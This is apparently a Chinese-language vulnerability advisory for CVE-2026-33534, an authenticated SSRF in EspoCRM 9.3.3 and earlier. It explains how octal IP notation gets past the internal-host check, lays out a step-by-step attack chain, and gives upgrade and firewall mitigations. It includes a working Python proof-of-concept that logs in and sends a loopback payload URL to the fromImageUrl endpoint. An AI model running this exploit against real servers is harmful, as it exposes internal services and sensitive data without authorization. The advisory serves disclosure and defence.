IPBUF安全漏洞报告
English
CVE-2026-33534 CVSS 4.3 中危

CVE-2026-33534 EspoCRM 认证SSRF漏洞

披露日期: 2026-04-13

漏洞信息

漏洞编号
CVE-2026-33534
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
EspoCRM

相关标签

SSRFEspoCRMIP验证绕过八进制IP认证漏洞

漏洞概述

EspoCRM是一个开源的客户关系管理应用程序。在9.3.3及以下版本中,系统存在一个已认证的服务端请求伪造(SSRF)漏洞。攻击者可以通过使用替代的IPv4表示形式(例如使用八进制表示法0177.0.0.1代替127.0.0.1)来绕过内部主机验证逻辑。漏洞产生的原因是HostCheck::isNotInternalHost()函数依赖于PHP的filter_var(..., FILTER_VALIDATE_IP),该函数无法识别替代IP格式。这导致验证过程回退到DNS查找,由于没有记录返回,主机被错误地视为安全。然而,cURL随后会规范化地址并连接到环回目的地。通过/api/v1/Attachment/fromImageUrl端点,经过身份验证的用户可以强制服务器向仅限环回的服务发出请求,并将获取的响应存储为附件。该问题已在9.3.4版本中修复。

技术细节

该漏洞的核心在于EspoCRM对目标URL的主机校验逻辑存在缺陷。在HostCheck::isNotInternalHost()函数中,代码首先尝试使用PHP的filter_var函数配合FILTER_VALIDATE_IP过滤器来验证IP地址。然而,该过滤器并不支持八进制、十六进制等非标准IP表示法。当攻击者提交如http://0177.0.0.1的URL时,filter_var返回false,验证逻辑随后尝试进行DNS解析。由于八进制格式的IP通常无法在DNS中解析出记录,解析失败,代码逻辑错误地判定该主机非内部主机,从而放行了请求。随后,底层的cURL库在处理请求时,会自动将八进制IP(0177.0.0.1)规范化为标准的十进制IP(127.0.0.1),并成功建立连接。攻击者利用/api/v1/Attachment/fromImageUrl接口,在已登录的情况下,构造恶意的图片URL指向内部服务(如本地元数据服务、管理端口等),服务器会代为请求并将结果保存为附件,从而造成敏感信息泄露。这与CVE-2023-46736(基于重定向的SSRF)不同,本漏洞利用的是IP格式解析的不一致。

攻击链分析

STEP 1
步骤1:身份认证
攻击者需要拥有EspoCRM的一个有效低权限账户,以便访问API接口。
STEP 2
步骤2:构造恶意Payload
攻击者利用八进制表示法(如0177.0.0.1代替127.0.0.1)构造指向内部服务的URL,旨在绕过filter_var的校验。
STEP 3
步骤3:发送SSRF请求
攻击者向/api/v1/Attachment/fromImageUrl端点发送POST请求,并在参数中注入构造好的恶意URL。
STEP 4
步骤4:绕过验证与请求发送
服务器端验证逻辑无法识别八进制IP,误判为外网地址;随后cURL解析该地址并发起对内部环回服务的请求。
STEP 5
步骤5:获取敏感信息
内部服务的响应内容被服务器获取并存储为附件,攻击者通过下载附件读取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit: CVE-2026-33534 (EspoCRM SSRF via Octal IP) # Description: Bypass internal host check using octal notation (0177.0.0.1 -> 127.0.0.1) # Endpoint: /api/v1/Attachment/fromImageUrl # Note: Requires authentication. target_url = "http://target-espocrm-url/api/v1/Attachment/fromImageUrl" username = "[email protected]" password = "password" # Internal service to scan (e.g., local metadata or admin panel) # 127.0.0.1 in octal is 0177.0.0.1 payload_url = "http://0177.0.0.1:8080/internal-config" session = requests.Session() login_data = { "username": username, "password": password, "authenticationMethod": "Password" } # Step 1: Login print("[*] Logging in...") login_resp = session.post("http://target-espocrm-url/api/v1/App/user", json=login_data) if login_resp.status_code != 200: print("[-] Login failed") exit() # Step 2: Send SSRF payload print("[*] Sending SSRF payload...") data = { "url": payload_url } exploit_resp = session.post(target_url, json=data) print(f"[*] Response Status: {exploit_resp.status_code}") print(f"[*] Response Body: {exploit_resp.text}")

影响范围

EspoCRM <= 9.3.3

防御指南

临时缓解措施
建议立即将EspoCRM升级至9.3.4或更高版本。如果无法立即升级,应通过WAF或防火墙规则严格限制出站流量,特别是禁止对127.0.0.1/8、169.254.169.254等内网地址的访问,并监控/api/v1/Attachment/fromImageUrl接口的异常请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表